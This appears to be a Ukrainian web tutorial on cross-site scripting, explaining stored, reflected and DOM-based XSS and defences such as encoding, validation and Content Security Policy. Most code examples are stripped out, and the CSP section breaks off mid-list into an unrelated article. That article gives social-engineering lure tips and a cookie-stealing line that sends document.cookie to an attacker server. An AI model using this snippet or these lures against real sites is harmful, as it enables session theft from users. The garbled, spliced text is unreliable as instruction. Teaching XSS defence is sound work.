Пасивний xss. Easy Hack: Як видобути дані через Cross Site Scripting Inclusion

І є комплексним підручником з міжсайтового скриптингу.

Частина перша: Огляд

Що таке XSS?

Міжсайтовий скриптинг ( англ. Cross-site scripting) - це атака націлена на використання коду, що дозволяє зловмиснику виконати шкідливий JavaScript в браузері іншого користувача.

Зловмисник не атакує свою жертву безпосередньо. Натомість він використовує вразливість веб-сайту, який відвідує жертва та впроваджує шкідливий JavaScript код. У браузері жертви шкідливий JavaScript відображається як легітимна частина веб-сайту, а сам веб-сайт виступає як безпосередній учасник атакуючого.

Впровадження шкідливого JavaScript-коду

Єдиний спосіб для атакуючого запустити шкідливий JavaScript у браузері жертви - це впровадити його в одну зі сторінок, яку завантажує жертва з веб-сайту. Це можливо, якщо веб-сайт дозволяє користувачам вводити дані на своїх сторінках, а атакуючий зможе вставити рядок, який визначатиметься як частина коду в браузері жертви.

У наведеному нижче прикладі показано простий серверний скрипт, який використовується для відображення останнього коментаря на сайті:

print " "
print "Останній коментар:"
print database.latestComment
print ""

Скрипт передбачає, що коментар складається лише із тексту. Однак, оскільки включено безпосереднє введення користувача, зловмисник може залишити цей коментар: "Будь-який користувач, який відвідав сторінку, тепер отримуватиме наступну відповідь:


Останній коментар:

Коли браузер користувача завантажує сторінку, він буде виконувати все, у тому числі JavaScript-код, що міститься всередині тегів . Це свідчить про те, що проста присутність скрипта, впроваджуваного атакуючим, є проблемою, незалежно від того, який конкретний код сценарію насправді виконується.

Частина друга: XSS-атака

Учасники XSS-атаки

Перед тим, як докладно описати, як працює атака XSS, нам необхідно визначити суб'єктів, що беруть участь в атаці XSS. Загалом, в атаці XSS присутні три учасники: веб сайт, жертва, і зломщик.

  • Веб сайтвидає HTML-сторінки для користувачів, що їх запросили. У наших прикладах він знаходиться за адресою http://website/.
    • База даних веб-сайтує базою даних, яка зберігає деякі введені користувачами дані на сторінках сайту.
  • Жертва— це звичайний користувач веб-сайту, який запитує сторінки з його браузера.
  • Атакуючий— це зловмисник, який має намір розпочати атаку на жертву за рахунок використання XSS-уразливості на сайті.
    • Сервер зломщика- Це веб-сервер під контролем зловмисника з єдиною метою - крадіжка конфіденційної інформації жертви. У наших прикладах він знаходиться за адресою http://attacker/ .

Приклад сценарію атаки

Цей скрипт створить HTTP-запит на іншу URL-адресу, яка перенаправить браузер користувача на сервер атакуючого. URL-адреса включає куки жертви як параметр запиту, коли HTTP-запит приходить на сервер атакуючого, зловмисник може витягти ці куки з запиту. Після того, як зловмисник отримав кукі, він може використовувати їх, щоб видати себе за жертву і почати наступний напад.

З цього моменту, наведений вище HTML код буде називатися шкідливим рядкомабо шкідливим скриптом. Важливо розуміти, що сам рядок є шкідливим лише якщо він, зрештою, обробляється як HTML-код у браузері жертви, а це може статися лише у разі наявності XSS-вразливості на веб-сайті.

Як працює цей приклад атаки

На схемі нижче показаний приклад виконання атаки зловмисником:

  1. Атакуючий використовує одну з форм веб-сайту, щоб вставити шкідливий рядок у базу даних веб-сайту.
  2. Жертва запитує сторінку із веб-сайту.
  3. Сайт включає шкідливий рядок з бази даних у відповідь та відправляє його до жертви.
  4. Браузер жертви виконує шкідливий сценарій усередині відповіді, надсилаючи куки жертви на сервер зловмисника.

Типи XSS

Мета XSS-атаки завжди полягає у виконанні шкідливого JavaScript скрипта у браузері жертви. Існує кілька принципово різних способів досягнення цієї мети. XSS-атаки часто поділяються на три типи:

  • Зберігані (постійні) XSS, де шкідливий рядок бере свій початок з бази даних веб-сайту.
  • Відбиті (постійні) XSS, де шкідливий рядок породжується із запиту жертви
  • DOM-моделі XSS, де вразливість виникає у коді за клієнта, а чи не за серверного коду.

У попередньому прикладі показана XSS-атака, що зберігається. Тепер ми опишемо два інші типи XSS-атак: відбитий XSS і XSS-атака DOM-моделі.

Відображений XSS

У разі відображеного XSS-атаки шкідливий рядок є частиною запиту жертви на веб-сайт. Сайт приймає і вставляє цей шкідливий рядок у відповідь, що відправляється, назад користувачу. Схема нижче ілюструє цей сценарій:

  1. Жертва обманним шляхом атакуючого надсилає URL-запит на веб-сайт.
  2. Сайт включає шкідливий рядок із URL-запиту у відповідь жертві.
  3. Браузер жертви виконує шкідливий сценарій, який міститься у відповіді, посилаючи куки жертви на сервер зловмисника.

Як успішно провести відбиту XSS-атаку?

Відбита XSS-атака може здатися невинною, оскільки вона вимагає, щоб жертва від свого імені надіслала запит, що містить шкідливий рядок. Так як ніхто не добровільно атакуватиме себе, то здається, що не існує способу фактичного виконання атаки.

Як з'ясовується, є принаймні два поширені способи змусити жертву почати відбиту XSS-атаку проти себе:

  • Якщо користувач є конкретною особистістю, зловмисник може надіслати шкідливе URL-посилання жертві (наприклад, за допомогою електронної пошти або месенджера), і обманом змусити його відкрити посилання для відвідування веб-сайту.
  • Якщо ціль - це велика група користувачів, зловмисник може опублікувати посилання на шкідливий URL (наприклад, на своєму власному веб-сайті або в соціальній мережі) і чекати відвідувачів, які перейдуть за посиланням.

Обидва ці методи схожі, і обидва вони можуть бути успішнішими з використанням служб, що дозволяють «укоротити» URL-адресу, вони замаскують шкідливий рядок від користувачів, які могли б ідентифікувати його.

XSS у DOM-моделі

XSS в DOM-моделі є варіантом як збереженої і відображеної XSS-атаки. У цій XSS-атаці шкідливий рядок не обробляється браузером жертви, доки цей JavaScript веб-сайту не виконається. Схема нижче ілюструє цей сценарій для відображеної XSS-атаки:

  1. Атакуючий створює URL-адресу, яка містить шкідливий рядок, і надсилає її жертві.
  2. Жертва обманним шляхом атакуючого надсилає URL-запит на веб-сайт.
  3. Сайт приймає запит, але не включає у відповідь шкідливий рядок.
  4. Браузер жертви виконує легітимний сценарій, що міститься у відповіді, внаслідок чого шкідливий скрипт буде вставлено до сторінки.
  5. Браузер жертви виконує шкідливий скрипт, вставлений у сторінку, посилаючи куки жертви на сервер зловмисника.
У чому відмінність XSS у DOM-моделі?

У попередніх прикладах, що зберігаються і відображені XSS-атак сервер вставляє шкідливий скрипт на сторінку, яка потім пересилається у відповіді до жертви. Коли браузер жертви отримав відповідь, він передбачає, що шкідливий скрипт є частиною легітимного змісту сторінки, і автоматично виконує його під час завантаження сторінки, як будь-який інший сценарій.

У прикладі XSS-атаки в DOM-моделі шкідливий скрипт не вставляється як частина сторінки; єдиний скрипт, який автоматично виконується під час завантаження сторінки, є легітимною частиною сторінки. Проблема полягає в тому, що цей легітимний сценарій безпосередньо використовує введення користувача для того, щоб додати HTML на сторінку. Оскільки шкідливий рядок вставляється в сторінку за допомогою innerHTML, вона аналізується як HTML, внаслідок чого шкідливий скрипт буде виконуватися.

Ця різниця невелика, але дуже важлива:

  • У традиційному XSS шкідливий JavaScript виконується при завантаженні сторінки як частина HTML, відправленого сервером.
  • У разі XSS у DOM-моделі шкідливий JavaScript виконується після завантаження сторінки, в результаті ця сторінка з легітимним JavaScript звертається небезпечним способом до введення користувача (що містить шкідливий рядок).
Як працює XSS у DOM-моделі?

У попередньому прикладі немає потреби в JavaScript; сервер може генерувати все HTML сам собою. Якщо код на стороні сервера не містить уразливостей, веб-сайт не схильний до вразливості XSS.

Однак, оскільки веб-програми стають більш просунутими, все більше HTML-сторінок генерується за допомогою JavaScript на стороні клієнта, а не на сервері. У будь-який час контент повинен змінюватися без оновлення всієї сторінки, це можливо за допомогою JavaScript. Зокрема, це той випадок, коли сторінка оновлюється після запиту AJAX.

Це означає, що XSS вразливості можуть бути присутніми не тільки на серверній частині коду вашого сайту, але і на стороні JavaScript-коду клієнта вашого сайту. Отже, навіть при повністю безпечному коді на стороні сервера, клієнтський код може все ще не безпечно включати введення даних користувача при оновленні DOM після завантаження сторінки. Якщо це станеться, код з боку клієнта дозволить провести XSS-атаку не з вини коду з боку сервера.

XSS на основі DOM-моделі може бути невидимим для сервера

Існує особливий випадок XSS-атаки в DOM-моделі, в якому шкідливий рядок ніколи не відправляється на сервер веб-сайту: це відбувається тоді, коли шкідливий рядок міститься у фрагменті ідентифікатора URL-адреси (щось після символу #). Браузери не надсилають цю частину URL на сервер, так що веб-сайт не має доступу до нього за допомогою коду на стороні сервера. Код з боку клієнта, однак, має доступ до нього, і таким чином можливе проведення XSS-атаки шляхом небезпечної обробки.

Цей випадок обмежується ідентифікатором фрагмента. Існує й інше введення користувача, яке є невидимим для сервера, наприклад, нові функції HTML5, такі як LocalStorage і IndexedDB.

Частина третя:
Запобігання XSS

Методи запобігання XSS

Нагадаємо, що XSS є атакою типу застосування коду: введені дані користувачем помилково інтерпретуються як шкідливий програмний код. Щоб не допустити цього типу ін'єкції коду, потрібна безпечна обробка введення. Для веб-розробника існує два принципово різні способи виконання безпечної обробки введення:

  • Кодування- це спосіб який дозволяє зробити введення даних користувачем тільки як дані і не дозволяє обробці браузеру як коду.
  • Валідація- це спосіб фільтрує введення користувача так, що браузер інтерпретує його як код без шкідливих команд.

Хоча це принципово різні методи запобігання XSS, вони мають кілька спільних рис, які є важливими для розуміння при використанні будь-якого з них:

Контекст Безпечна обробка вводу повинна бути виконана по-різному залежно від того, де на сторінці використовується введення користувача. вхідний/вихідний Безпечна обробка введення може бути виконана або, коли ваш сайт отримує вхідні дані (вхідний трафік) або перед тим, як сайт вставляє введення користувача в вміст сторінки (вихідний). Клієнт/Сервер Безпечна обробка введення може бути виконана або на стороні клієнта або на стороні сервера, кожен варіант необхідний за різних обставин.

Перш ніж пояснювати в деталях, як працює кодування та валідація, ми опишемо кожен з цих пунктів.

Обробка введення користувача в контекстах

Є багато контекстів на веб-сторінці, де може бути застосоване введення користувача. Для кожного з них повинні бути дотримані особливі правила для того, щоб введення користувача не могло «вирватися» зі свого контексту і не могло бути інтерпретований як шкідливий код. Нижче наведені найпоширеніші контексти:

Яке значення мають контексти?

У всіх описаних контекстах вразливість, що призводить до XSS, може виникнути, якщо дані, що вводяться користувачем, були вставлені до першого кодування або валідації. Зловмисник може впровадити шкідливий код, просто вставивши закриваючий роздільник для цього контексту і слідом за ним шкідливий код.

Наприклад, якщо в якийсь момент веб-сайт включає введення даних користувачем безпосередньо в атрибут HTML, зловмисник зможе впровадити шкідливий сценарій, розпочавши введення з лапки, як показано нижче:

Це можна було б запобігти, просто видаливши всі лапки в введенні користувача, і все було б добре, але тільки в цьому контексті. Якщо ж введення було вставлено в інший контекст, роздільник, що закриває, буде відрізнятися і ін'єкція стане можливою. З цієї причини, безпечна обробка введення завжди повинна бути адаптована до контексту, де буде вставлено введення користувача.

Обробка вхідного/вихідного введення користувача

Інстинктивно, може здатися, що XSS можна запобігти за допомогою кодування або валідації всього введення користувача, як тільки наш сайт отримує його. Таким чином, будь-які шкідливі рядки вже будуть нейтралізовані щоразу, коли вони будуть включатися в сторінку, і скриптам генерації HTML не доведеться дбати про безпечну обробку введення користувача.

Проблема полягає в тому, що як було описано раніше, дані, що вводяться користувачем, можуть бути вставлені в кілька контекстів на сторінці. І немає простого способу визначити, коли введення користувача входить в контекст — як він в кінцевому підсумку буде вставлений, і той же введення часто повинен бути вставлений в різних контекстах. Спираючись на обробку вхідного введення для запобігання XSS, ми створюємо дуже тендітне рішення, яке буде схильне до помилок. (Застарілі «чарівні лапки» PHP є прикладом такого рішення.)

Натомість, обробка вихідного введення повинна бути вашою основною лінією захисту від XSS, тому що вона може брати до уваги конкретний контекст, які дані, що вводяться користувачем, будуть вставлені. Якоюсь мірою вхідну валідацію можна використовувати для додавання вторинного шару захисту, але про це пізніше.

Де можливо виконувати безпечну обробку введення користувача

У більшості сучасних веб-додатків, введення користувача обробляється як на стороні серверного коду, так і на стороні коду клієнта. З метою захисту від усіх типів XSS, безпечна обробка введення повинна бути виконана як у коді за сервера, і за коду клієнта.

  • З метою захисту від традиційних XSS, безпечна обробка введення повинна бути виконана в коді на стороні сервера. Це робиться за допомогою будь-якої мови, яку підтримує сервер.
  • З метою захисту від XSS-атаки в DOM-моделі, де сервер ніколи не отримує шкідливого рядка (наприклад, описана раніше атака через фрагмент ідентифікатора), безпечна обробка введення повинна бути виконана в коді на стороні клієнта. Це робиться за допомогою JavaScript.

Тепер, коли ми пояснили, чому контекст має значення, чому різниця між вхідною та вихідною обробкою введення має важливе значення, і чому безпечна обробка введення повинна бути виконана з обох сторін, і на стороні клієнта та на стороні сервера, ми можемо продовжити пояснити, яким чином два типи безпечної обробки введення (кодування та валідація) виконуються фактично.

Кодування

Кодування є способом виходу з ситуації коли необхідно що б введення даних браузер інтерпретував тільки як дані, а не код. Найпопулярніший тип кодування у веб-розробці це маскування HTML, який перетворює символи, такі як < і > в < і > відповідно.

Наступний псевдокод є прикладом того, як дані, що вводяться користувачем (користувацьке введення) можуть бути закодовані з використанням HTML маскування і потім вставлені в сторінку за допомогою серверного сценарію:

print " "
print "Останній коментар: "
print encodeHtml(userInput)
print ""

Якщо користувач введе наступний рядок, результуючий HTML буде виглядати так:


Останній коментар:

Тому що всі символи зі спеціальним значенням були замасковані, браузер не буде розбирати будь-яку частину введення користувача, як HTML.

Кодування коду на стороні клієнта та сервера

При виконанні кодування коду з боку клієнта завжди використовується мова JavaScript, яка має вбудовані функції, які кодують дані для різних контекстів.

При виконанні кодування у вашому коді на стороні сервера ви покладаєтеся на функції доступні у вашій мові або фреймворку. Через велику кількість мов і доступних фреймворків, цей навчальний посібник не охоплюватиме деталі кодування в будь-якій конкретній мові сервера або фреймворку. Проте функції кодування JavaScript, що використовуються на стороні клієнта, також використовуються при написанні коду на стороні сервера.

Кодування на стороні клієнта

При кодуванні введення користувача на стороні клієнта за допомогою JavaScript є кілька вбудованих методів і властивостей, які автоматично кодують всі дані в контекстно-залежний стиль:

Останній контекст вже згадуваний вище (значення JavaScript) не входить до цього списку, тому що JavaScript не надає вбудований спосіб кодування даних, який буде включений у вихідний код JavaScript.

Обмеження кодування

Навіть під час кодування можливе використання зловмисних рядків у деяких контекстах. Яскравим прикладом цього є те, коли введення користувача використовується для надання URL-адреси, наприклад, у наведеному нижче прикладі:

document.querySelector("a").href = userInput

Хоча зазначене значення у властивості елемента href автоматично кодує його так, що він стає не більшим, ніж значення атрибута, це само по собі не заважає зловмиснику вставити URL, що починається з javascript: «. При натисканні на посилання, незалежно від побудови, вбудований JavaScript всередині URL буде виконаний.

Кодування також не ефективне рішення, коли ви хочете, щоб користувачі могли використовувати частину HTML-кодів на сторінці. Прикладом може бути сторінка профілю користувача, де користувач може використовувати HTML користувача. Якщо цей звичайний HTML буде закодований, сторінка профілю може складатися лише з простого тексту.

У таких ситуаціях кодування має бути доповнене валідацією, з якою ми познайомимося далі.

Валідація

Валідація є актом фільтрації введення користувача таким чином, щоб всі шкідливі його частини були видалені, без необхідності видалення всього коду в ньому. Один із найбільш застосовуваних видів перевірки у веб-розробці дозволяє використовувати деякі HTML-елементи (наприклад, і ) але заборонивши інші (наприклад,

При правильно визначеній політиці CSP, браузер не може завантажити та виконати malicious‑script.js тому що http://attacker/ не вказано як надійне джерело. Навіть незважаючи на те, що сайту не вдалося надійно обробляти введення даних в даному випадку політика CSP запобігла вразливості і заподіяння будь-якої шкоди.

Навіть якщо зловмисник провів ін'єкцію кодом всередину коду сценарію, а не посиланням на зовнішній файл, правильно налаштована політика CSP також заборонить ін'єкцію в код JavaScript запобігти вразливості та заподіянню будь-якої шкоди.

Як увімкнути CSP?

За промовчанням браузери не використовують CSP. Для того, щоб увімкнути SCP на своєму веб-сайті, сторінки повинні містити додатковий заголовок HTTP: Content-Security-Policy . Будь-яка сторінка, яка містить цей заголовок, буде застосовувати політики безпеки під час завантаження браузером, за умови, що браузер підтримує CSP.

Оскільки політика безпеки надсилається з кожною HTTP-відповіддю, можна на сервері індивідуально встановити політику для кожної сторінки. Така ж політика може бути застосована до всього веб-сайт, вставляючи той самий заголовок CSP у кожному відповіді.

Значення в заголовку Content-Security-Policy містить рядок, який визначає одну або кілька політик безпеки, які будуть працювати на вашому сайті. Синтаксис цього рядка буде описано далі.

Приклади заголовків у цьому розділі використовують перенесення рядка та відступи для простоти сприйняття; вони не повинні бути присутніми в цьому заголовку.

Синтаксис CSP

Синтаксис заголовка CSP виглядає так:

Content-Security-Policy:
directive source‑expression, source‑expression, ...;
directive ...;
...

Цей синтаксис складається із двох елементів:

  • Директивиє рядки, що вказують тип ресурсу, взятий із заданого списку.
  • Вираз джерела (source expressions)є моделлю, що описує один або кілька серверів, від яких можуть бути завантажені ресурси.

Для кожної директиви дані у виразі джерела визначають, які джерела можна використовувати для завантаження ресурсів відповідного типу.

Директиви

Наступні директиви можуть бути використані в заголовку CSP:

  • connect‑src
  • font‑src
  • frame‑src
  • img‑src
  • media‑src
  • object‑src
  • script‑src
  • style‑src

На додаток до цього, спеціальна директива default‑src може використовуватися для того, щоб забезпечити значення за промовчанням для всіх директив, які не були включені до заголовка.

Вираз джерела

Синтаксис для створення виразу джерела виглядає так:

протокол:// ім'я-хоста: номер-порту

Ім'я хоста може починатися з *, це означає, що будь-який піддомен наданого імені хоста буде дозволено. Аналогічно номер порту може бути представлений у вигляді *, це означає, що всі порти будуть дозволені. Крім того, протокол та номер порту можуть бути пропущені. Якщо протокол не вказаний, політика вимагатиме, щоб усі ресурси бути завантажені за допомогою HTTPS.

На додаток до зазначеного вище синтаксису, вираз джерела може бути альтернативою одним з чотирьох ключових слів зі спеціальним значенням (лапки включені):

"None" забороняє ресурси. "self" дозволяє ресурси з хоста, на якому знаходиться веб-сторінка. "unsafe‑inline" дозволяє ресурси, що містяться на сторінці як вбудовані

Існує два типи XSS вразливостей – пасивна та активна.

Активна вразливістьбільш небезпечна, оскільки зловмиснику немає необхідності заманювати жертву за спеціальним посиланням, йому достатньо впровадити код у базу чи файл на сервері. Таким чином, усі відвідувачі сайту автоматично стають жертвами. Він може бути інтегрований, наприклад, за допомогою SQL-коду (SQL Injection). Тому не варто довіряти даним, що зберігаються в БД, навіть якщо при вставці вони були оброблені.

Приклад пасивної вразливостіможна подивитися на самому початку статті. Тут уже потрібна соціальна інженерія, наприклад, важливий лист від адміністрації сайту з проханням перевірити налаштування свого облікового запису, після відновлення з бекапу. Відповідно, потрібно знати адресу жертви або просто влаштувати спам-розсилку або розмістити пост на якомусь форумі, та ще й не факт, що жертви виявляться наївними і перейдуть за вашим посиланням.

Причому пасивної вразливості можуть бути піддані як POST, так і GET-параметри. З POST-параметрами, зрозуміло, доведеться на хитрощі. Наприклад, переадресація із сайту зловмисника.

">

Отже, GET-вразливість трохи небезпечніша, т.к. жертві легше помітити неправильний домен, ніж додатковий параметр (хоча URL можна взагалі закодувати).

Крадіжка Cookies

Це найчастіше наведений приклад XSS-атаки. У Cookies сайти іноді зберігають якусь цінну інформацію (іноді навіть логін і пароль (або його хеш) користувача), але найнебезпечнішою є крадіжка активної сесії, тому не забуваємо натискати посилання «Вихід» на сайтах, навіть якщо це домашній комп'ютер. На щастя, на більшості ресурсів час життя сесії обмежений.

Var mg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Тому і ввели доменні обмеження на XMLHttpRequest, але зловмиснику це не страшно, бо є